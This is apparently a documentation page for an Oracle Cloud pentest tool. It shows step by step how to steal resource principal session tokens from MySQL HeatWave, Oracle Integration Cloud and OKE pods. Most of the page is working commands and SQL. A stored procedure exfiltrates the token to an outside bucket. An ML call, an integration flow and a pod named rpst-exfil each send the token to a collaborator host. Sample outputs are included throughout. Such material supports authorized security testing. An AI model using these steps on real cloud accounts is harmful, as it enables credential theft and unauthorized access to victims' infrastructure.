ALL {resource.type = 'mysqldbsystem', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}
Source: Oracle MySQL HeatWave resource principal
The attack requires SQL access to the MySQL instance.
1. List MySQL DB systems:
oci mysql db-system list --compartment-id COMPARTMENT_ID --profile POC{
"data": [
{
"display-name": "prod-mysql",
"id": "ocid1.mysqldbsystem.oc1.phx.MYSQL_OCID",
"lifecycle-state": "ACTIVE",
"mysql-version": "8.4.3",
"ip-address": "10.0.1.10",
"port": 3306
}
]
}2. Connect to the MySQL instance and invoke the RPST stored procedure:
-- Enable resource principal (requires DBA privileges)
CALL sys.ENABLE_OCI_RESOURCE_PRINCIPAL();Query OK, 0 rows affected (0.05 sec)
3. Read and exfil the RPST via an outbound HTTP call:
MySQL HeatWave ML allows outbound HTTP via the OCI_OBJECT_STORAGE_PUT or
OCI_HTTP_POST ML services:
-- Using HeatWave ML to POST the token externally
CALL sys.ML_TRAIN(
'SELECT oci_resource_principal_token() AS token',
'http://COLLAB_HOST/mysql-rpst',
JSON_OBJECT('source', 'mysql-heatwave')
);Or via direct stored procedure if outbound network access is enabled:
DELIMITER $$
CREATE PROCEDURE exfil_rpst()
BEGIN
DECLARE v_rpst TEXT;
SET v_rpst = sys.oci_resource_principal_token();
-- Call out via an OCI connection or write to OCI Object Storage
CALL sys.OCI_OBJECT_STORAGE_PUT(
'PENTESTER_BUCKET',
'mysql_rpst.txt',
v_rpst,
'OBJECT_STORAGE_NAMESPACE',
'REGION'
);
END$$
DELIMITER ;
CALL exfil_rpst();OIC 3 instances support resource principals via REST adapter flows. Requires IAM Domains (OIC 3 only — OIC 2 is not supported).
ALL {resource.type = 'integration-instance', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}
Source: Oracle OIC resource principal
1. List OIC instances:
oci integration integration-instance list --compartment-id COMPARTMENT_ID --profile POC{
"data": {
"items": [
{
"display-name": "prod-oic",
"id": "ocid1.integrationinstance.oc1.phx.OIC_OCID",
"instance-url": "https://INSTANCE_NAME-NAMESPACE.integration.oci.oraclecloud.com",
"lifecycle-state": "ACTIVE",
"integration-instance-type": "ENTERPRISE"
}
]
}
}2. Enable resource principal on the OIC instance:
In the OIC console → Administration → Resource Principal:
oci integration integration-instance update \
--id ocid1.integrationinstance.oc1.phx.OIC_OCID \
--is-oic-resource-principal-enabled true \
--profile POC{
"data": {
"id": "ocid1.integrationinstance.oc1.phx.OIC_OCID",
"lifecycle-state": "UPDATING"
}
}3. Create an integration flow with a REST adapter call to pentester-controlled endpoint.
In the OIC UI or via the REST API, create a scheduled integration with:
- Trigger: Scheduled (runs immediately)
- Action: REST Adapter → target
http://COLLAB_HOST/oic-rpst, method POST - Security Policy on the connection: OCI Signature Version 1 (uses the instance's resource principal to sign the outbound request)
- Payload: include
OCI_INTEGRATION_INSTANCE_OCIDand timestamp in the request body
The signed outbound request Authorization header contains the RPST claim as the key ID
(keyId field = ST$<base64-encoded-RPST>).
4. Activate and run the integration:
# Activate via OIC REST API
curl -sS -X POST \
"https://INSTANCE_NAME-NAMESPACE.integration.oci.oraclecloud.com/ic/api/integration/v1/integrations/EXFIL_INTEGRATION|01.00.0000/activate" \
-H "Authorization: <OCI_SIG>" \
-H "Content-Type: application/json"{
"code": "EXFIL_INTEGRATION",
"version": "01.00.0000",
"status": "ACTIVATED",
"activatedBy": "CRED_NAME"
}The signed POST hits your listener; extract the keyId from the Authorization header to
get the RPST.
OKE Workload Identity does not inject RPST files or env vars. It is a separate mechanism: the pod exchanges its Kubernetes ServiceAccount JWT for an RPST via an in-cluster proxymux endpoint. The private key is ephemeral and never touches disk.
See Authentication Reference → OKE Workload Identity
for the full extraction script (scripts/oke_wi_extract.sh).
ALL {resource.type = 'cluster', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}
For per-pod scoping:
ALL {resource.type = 'cluster',
request.principal.type = 'workload',
request.principal.namespace = 'NAMESPACE',
request.principal.service_account = 'SERVICE_ACCOUNT_NAME',
request.principal.cluster_id = 'ocid1.cluster.oc1..CLUSTER_OCID'}
1. List clusters and generate a kubeconfig:
oci ce cluster list --compartment-id COMPARTMENT_ID --profile POC{
"data": [
{
"cluster-pod-network-options": [{"cni-type": "OCI_VCN_IP_NATIVE"}],
"compartment-id": "ocid1.compartment.oc1..COMPARTMENT_OCID",
"endpoint-config": {"is-public-ip-enabled": true},
"endpoints": {"public-endpoint": "CLUSTER_IP:6443"},
"id": "ocid1.cluster.oc1.phx.CLUSTER_OCID",
"kubernetes-version": "v1.30.1",
"lifecycle-state": "ACTIVE",
"name": "production-cluster",
"type": "ENHANCED_CLUSTER"
}
]
}oci ce cluster create-kubeconfig \
--cluster-id ocid1.cluster.oc1.phx.CLUSTER_OCID \
--file ./kubeconfig \
--region REGION \
--token-version 2.0.0 \
--profile POCExisting Kubeconfig file found at ./kubeconfig and new config merged into it
2. Schedule an pentester pod:
export KUBECONFIG=./kubeconfig
kubectl run rpst-exfil \
--image=python:3.11-slim \
--restart=Never \
--command -- sh -c 'pip install oci -q && python3 /exfil.py'pod/rpst-exfil created
3. Inside the pod, call the proxymux endpoint using scripts/oke_wi_extract.sh
(see Authentication Reference). The script:
- Generates an ephemeral RSA key pair in memory
- Posts the pod's ServiceAccount JWT + public key to
https://$KUBERNETES_SERVICE_HOST:12250/resourcePrincipalSessionTokens - Receives the signed RPST back
kubectl logs rpst-exfilRPST received (first 80 chars): eyJraWQiOiJzdC0yMDI2LTA3...
Exfil sent to http://COLLAB_HOST/oke-rpst — 200 OK
4. Load into OCInferno:
resource-principal CRED_NAME \
--token-inline <RPST_JWT> \
--private-key-file ./oke_ephemeral_key.pem \
--region REGION
Home | Getting Started | Auth | Workspace | Orchestration Modules | Downloads to Disk | Data View/Export | Operator Runbook | Troubleshooting and FAQ | OpenGraph - Node/Edge Tables | OpenGraph - Default Priv Escalation Mode | OpenGraph - IAM Conditionals | OpenGraph - Inheritance & IncludeAll | ConfigChecker - Static Config Checks | Module Development Guide
- Authentication Reference
- Workspace Instructions
- Orchestration Module Reference
- Enumeration Module Reference
- Exploit Module Reference
- Downloads to Disk
- Data View/Export
- Troubleshooting and FAQ